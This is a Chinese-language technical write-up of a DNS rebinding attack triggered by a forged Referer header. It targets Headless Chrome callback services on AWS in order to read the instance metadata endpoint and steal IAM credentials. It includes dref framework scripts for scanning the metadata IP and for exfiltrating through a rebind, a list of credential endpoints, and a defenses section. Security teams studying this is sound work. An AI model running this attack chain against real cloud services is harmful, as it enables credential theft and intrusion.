基于HTTP Referer头部的DNS重绑定攻击
字数 1155 2025-08-29 08:32:30

基于HTTP Referer头部的DNS重绑定攻击技术分析

攻击概述

DNS重绑定攻击是一种利用浏览器DNS缓存机制的安全漏洞,通过动态修改DNS记录使合法域名指向内部IP地址,从而绕过同源策略限制的攻击技术。本文介绍的攻击变种通过HTTP Referer头部触发,针对AWS云环境中的请求分析系统实施攻击。

技术背景

DNS重绑定攻击原理

  • 攻击者控制一个域名并设置极短的TTL(通常为0)
  • 初始解析返回攻击者控制的服务器IP
  • 在浏览器缓存过期后,修改DNS记录指向目标内部IP(如169.254.169.254)
  • 浏览器因同源策略认为仍在与原始域名通信,实际上已访问内部资源

HTTP Referer头部利用

  • 某些网站会向入站请求的Referer URL发起回调请求
  • 这种行为常见于市场营销分析或威胁情报收集服务
  • 攻击者可伪造Referer指向自己控制的恶意域名

攻击实施步骤

1. 目标发现

使用工具(如reson8)扫描识别会回调Referer URL的网站:

  • 发送带有伪造HTTP头部的GET请求
  • 记录响应时间、用户代理和JS执行情况
  • 重点关注通过AWS IP访问且使用Headless Chrome的服务

2. 攻击准备

搭建DNS重绑定服务器(如dref框架):

// 使浏览器挂起的端点实现
router.get('/hang.png', function (req, res, next) {
  res.status(200).set({
    'Content-Length': '1'
  }).send()
})

3. 环境探测

使用TCP端口扫描确认AWS元数据端点可达性:

import NetMap from 'netmap.js'
import Session from '../libs/session'

const session = new Session()
const netmap = new NetMap()

function main () {
  netmap.tcpScan(['169.254.169.254'], [80, 1234, 4444]).then(results => {
    session.log(results)
  })
}

main()

4. 数据泄露

绕过同源策略获取AWS元数据:

import * as network from '../libs/network'
import Session from '../libs/session'

const session = new Session()

async function main () {
  network.postJSON(session.baseURL + '/arecords', {
    domain: window.env.target + '.' + window.env.domain,
    address: '169.254.169.254'
  })

  session.triggerRebind().then(() => {
    network.get(session.baseURL + window.args.path, (code, headers, body) => {
      session.log({code: code, headers: headers, body: body})
    })
  })
}

main()

AWS元数据利用

关键端点

  1. /latest/user-data - 获取实例初始化脚本
  2. /latest/meta-data/iam/security-credentials/ - 列出可用凭证
  3. /latest/meta-data/iam/security-credentials/[role-name] - 获取临时凭证

凭证使用示例

export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr[...]

aws ec2 describe-instances

防御措施

AWS环境防护

  • 实施iptables规则限制对元数据端点的访问
  • 确保与用户输入交互的进程不以root身份运行
  • 遵循最小权限原则分配IAM角色权限

DNS重绑定防护

  • 禁止外部DNS解析返回内部IP地址
  • 对关键服务启用SSL/TLS加密
  • 严格验证Host头部

服务设计建议

  • 避免处理不可信URL的回调请求
  • 限制Headless浏览器的网络访问权限
  • 设置合理的请求超时时间

工具资源

总结

这种攻击方式展示了传统安全威胁在新环境中的演变,强调了云环境中服务间信任边界的重要性。通过精心设计的攻击链,攻击者可以绕过多重安全机制获取敏感凭证,组织应全面评估此类威胁并实施纵深防御策略。

基于HTTP Referer头部的DNS重绑定攻击技术分析 攻击概述 DNS重绑定攻击是一种利用浏览器DNS缓存机制的安全漏洞,通过动态修改DNS记录使合法域名指向内部IP地址,从而绕过同源策略限制的攻击技术。本文介绍的攻击变种通过HTTP Referer头部触发,针对AWS云环境中的请求分析系统实施攻击。 技术背景 DNS重绑定攻击原理 攻击者控制一个域名并设置极短的TTL(通常为0) 初始解析返回攻击者控制的服务器IP 在浏览器缓存过期后,修改DNS记录指向目标内部IP(如169.254.169.254) 浏览器因同源策略认为仍在与原始域名通信,实际上已访问内部资源 HTTP Referer头部利用 某些网站会向入站请求的Referer URL发起回调请求 这种行为常见于市场营销分析或威胁情报收集服务 攻击者可伪造Referer指向自己控制的恶意域名 攻击实施步骤 1. 目标发现 使用工具(如reson8)扫描识别会回调Referer URL的网站: 发送带有伪造HTTP头部的GET请求 记录响应时间、用户代理和JS执行情况 重点关注通过AWS IP访问且使用Headless Chrome的服务 2. 攻击准备 搭建DNS重绑定服务器(如dref框架): 3. 环境探测 使用TCP端口扫描确认AWS元数据端点可达性: 4. 数据泄露 绕过同源策略获取AWS元数据: AWS元数据利用 关键端点 /latest/user-data - 获取实例初始化脚本 /latest/meta-data/iam/security-credentials/ - 列出可用凭证 /latest/meta-data/iam/security-credentials/[role-name] - 获取临时凭证 凭证使用示例 防御措施 AWS环境防护 实施iptables规则限制对元数据端点的访问 确保与用户输入交互的进程不以root身份运行 遵循最小权限原则分配IAM角色权限 DNS重绑定防护 禁止外部DNS解析返回内部IP地址 对关键服务启用SSL/TLS加密 严格验证Host头部 服务设计建议 避免处理不可信URL的回调请求 限制Headless浏览器的网络访问权限 设置合理的请求超时时间 工具资源 dref框架 - MWR的DNS重绑定利用框架 reson8 - Referer回调服务发现工具 Collaborator Everywhere - Burp Suite的交互式测试工具 总结 这种攻击方式展示了传统安全威胁在新环境中的演变,强调了云环境中服务间信任边界的重要性。通过精心设计的攻击链,攻击者可以绕过多重安全机制获取敏感凭证,组织应全面评估此类威胁并实施纵深防御策略。